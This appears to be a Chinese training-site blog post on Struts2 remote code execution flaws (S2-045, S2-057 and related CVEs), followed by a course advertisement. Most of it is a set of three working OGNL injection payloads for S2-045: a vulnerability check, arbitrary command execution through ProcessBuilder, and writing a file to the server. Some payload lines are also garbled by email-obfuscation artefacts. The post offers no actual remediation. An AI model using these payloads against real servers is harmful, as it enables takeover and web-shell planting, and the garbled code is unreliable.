Struts2漏洞利用工具的检查方法 - 极悦
首页 课程 师资 教程 报名

Struts2漏洞利用工具的检查方法

  • 2022-04-12 09:11:29
  • 2935次 极悦

Struts2是一个基于MVC设计模式的Web应用框架,但2存在远程代码执行的漏洞,极悦小编认为,检测出漏洞就要进行Struts2漏洞修复,现在Struts2漏洞检测工具2017版增加S2-046,官方发布S2-046和S2-045漏洞引发原因一样,只是利用漏洞的位置发生了变化,S2-046方式可能绕过部分WAF防护,存在S2-045就存在S2-046。

当Struts2开启devMode模式时,将导致严重远程代码执行漏洞。如果WebService启动权限为最高权限时,可远程执行任意命令,包括关机、建立新用户、以及删除服务器上所有文件等等。

支持S2-057 CVE-2018-11776 、S2-048 CVE-2017-9791、S2-046 CVE-2017-5638、S2-045 CVE-2017-5638、S2-037 CVE-2016-4438、 S2-032 CVE-2016-3081 、S2-020 CVE-2014-0094 、S2-019 CVE-2013-4316等漏洞检测!

Apache Struts2存在远程代码执行的高危漏洞(S2-057/CVE-2018-11776),该漏洞由Semmle Security Research team的安全研究员Man YueMo发现。该漏洞是由于在Struts2开发框架中使用namespace功能定义XML配置时,namespace值未被设置且在上层动作配置(Action Configuration)中未设置或用通配符namespace,可能导致远程代码执行。同理,url标签未设置value和action值且上层动作未设置或用通配符namespace时也可能导致远程代码执行!

相关exp:

S2-045:

1.验证漏洞,修改Content-Type,返回内容为“webpath”代表存在漏洞。

%{(#test='multipart/form-data').(#[email protected]@DEFAULT_MEMBER_ACCESS).

(#_memberAccess?(#_memberAccess=#dm):

((#container=#context['com.opensymphony.xwork2.ActionContext.container']).

(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).

(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).

(#context.setMemberAccess(#dm)))).(#[email protected]@getRequest()).

(#[email protected]@getResponse()).

(#res.setContentType('text/html;charset=UTF-8')).(#res.getWriter().print('web')).

(#res.getWriter().print('path')).(#res.getWriter().flush()).(#res.getWriter().close())}

2.执行命令

%{(#test='multipart/form-data').(#[email protected]@DEFAULT_MEMBER_ACCESS).

(#_memberAccess?(#_memberAccess=#dm):

((#container=#context['com.opensymphony.xwork2.ActionContext.container']).

(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).

(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).

(#context.setMemberAccess(#dm)))).(#[email protected]@getRequest()).

(#[email protected]@getResponse()).

(#res.setContentType('text/html;charset=UTF-8')).(#s=new java.util.Scanner((new

java.lang.ProcessBuilder('[cmd]'.toString().split('s'))).start().getInputStream()).useDelimiter('AAAA')).

(#str=#s.hasNext()?#s.next():'').(#res.getWriter().print(#str)).(#res.getWriter().flush()).

(#res.getWriter().close()).(#s.close())}

3.上传文件:

%{(#test='multipart/form-data').(#[email protected]@DEFAULT_MEMBER_ACCESS).

(#_memberAccess?(#_memberAccess=#dm):

((#container=#context['com.opensymphony.xwork2.ActionContext.container']).

(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).

(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).

(#context.setMemberAccess(#dm)))).(#[email protected]@getRequest()).

(#[email protected]@getResponse()).

(#res.setContentType('text/html;charset=UTF-8')).(new java.io.BufferedWriter(new

java.io.FileWriter([path])).append(#req.getHeader('test')).close()).(#res.getWriter().print('oko')).

(#res.getWriter().print('kok/')).(#res.getWriter().print(#req.getContextPath())).(#res.getWriter().flush()).

(#res.getWriter().close())}

以上就是关于“Struts2漏洞利用工具的检查方法”介绍,大家如果想了解更多相关知识,不妨来关注一下极悦的Struts2视频教程,里面的内容更加丰富,课程由浅到深,通俗易懂,适合没有基础的小伙伴学习,希望对大家能够有所帮助。

选你想看

你适合学Java吗?4大专业测评方法

代码逻辑 吸收能力 技术学习能力 综合素质

先测评确定适合在学习

在线申请免费测试名额
价值1998元实验班免费学
姓名
手机
提交